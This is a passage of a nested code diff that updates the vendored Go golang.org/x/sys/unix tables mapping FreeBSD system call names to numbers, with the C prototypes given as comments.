-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go
-index 44883141..4a6dfd4a 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm.go
-@@ -1,4 +1,4 @@
--// mksysnum_freebsd.pl
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,freebsd
-@@ -7,347 +7,390 @@ package unix
-
- const (
- // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-- SYS_EXIT = 1 // { void sys_exit(int rval); } exit \
-- SYS_FORK = 2 // { int fork(void); }
-- SYS_READ = 3 // { ssize_t read(int fd, void *buf, \
-- SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-- SYS_CLOSE = 6 // { int close(int fd); }
-- SYS_WAIT4 = 7 // { int wait4(int pid, int *status, \
-- SYS_LINK = 9 // { int link(char *path, char *link); }
-- SYS_UNLINK = 10 // { int unlink(char *path); }
-- SYS_CHDIR = 12 // { int chdir(char *path); }
-- SYS_FCHDIR = 13 // { int fchdir(int fd); }
-- SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-- SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-- SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-- SYS_OBREAK = 17 // { int obreak(char *nsize); } break \
-- SYS_GETPID = 20 // { pid_t getpid(void); }
-- SYS_MOUNT = 21 // { int mount(char *type, char *path, \
-- SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-- SYS_SETUID = 23 // { int setuid(uid_t uid); }
-- SYS_GETUID = 24 // { uid_t getuid(void); }
-- SYS_GETEUID = 25 // { uid_t geteuid(void); }
-- SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, \
-- SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, \
-- SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, \
-- SYS_ACCEPT = 30 // { int accept(int s, \
-- SYS_GETPEERNAME = 31 // { int getpeername(int fdes, \
-- SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, \
-- SYS_ACCESS = 33 // { int access(char *path, int amode); }
-- SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-- SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-- SYS_SYNC = 36 // { int sync(void); }
-- SYS_KILL = 37 // { int kill(int pid, int signum); }
-- SYS_GETPPID = 39 // { pid_t getppid(void); }
-- SYS_DUP = 41 // { int dup(u_int fd); }
-- SYS_PIPE = 42 // { int pipe(void); }
-- SYS_GETEGID = 43 // { gid_t getegid(void); }
-- SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, \
-- SYS_GETGID = 47 // { gid_t getgid(void); }
-- SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int \
-- SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-- SYS_ACCT = 51 // { int acct(char *path); }
-- SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, \
-- SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, \
-- SYS_REBOOT = 55 // { int reboot(int opt); }
-- SYS_REVOKE = 56 // { int revoke(char *path); }
-- SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-- SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, \
-- SYS_EXECVE = 59 // { int execve(char *fname, char **argv, \
-- SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args \
-- SYS_CHROOT = 61 // { int chroot(char *path); }
-- SYS_MSYNC = 65 // { int msync(void *addr, size_t len, \
-- SYS_VFORK = 66 // { int vfork(void); }
-- SYS_SBRK = 69 // { int sbrk(int incr); }
-- SYS_SSTK = 70 // { int sstk(int incr); }
-- SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise \
-- SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, \
-- SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, \
-- SYS_GETPGRP = 81 // { int getpgrp(void); }
-- SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-- SYS_SETITIMER = 83 // { int setitimer(u_int which, struct \
-- SYS_SWAPON = 85 // { int swapon(char *name); }
-- SYS_GETITIMER = 86 // { int getitimer(u_int which, \
-- SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-- SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-- SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-- SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, \
-- SYS_FSYNC = 95 // { int fsync(int fd); }
-- SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, \
-- SYS_SOCKET = 97 // { int socket(int domain, int type, \
-- SYS_CONNECT = 98 // { int connect(int s, caddr_t name, \
-- SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-- SYS_BIND = 104 // { int bind(int s, caddr_t name, \
-- SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, \
-- SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-- SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, \
-- SYS_GETRUSAGE = 117 // { int getrusage(int who, \
-- SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, \
-- SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, \
-- SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, \
-- SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
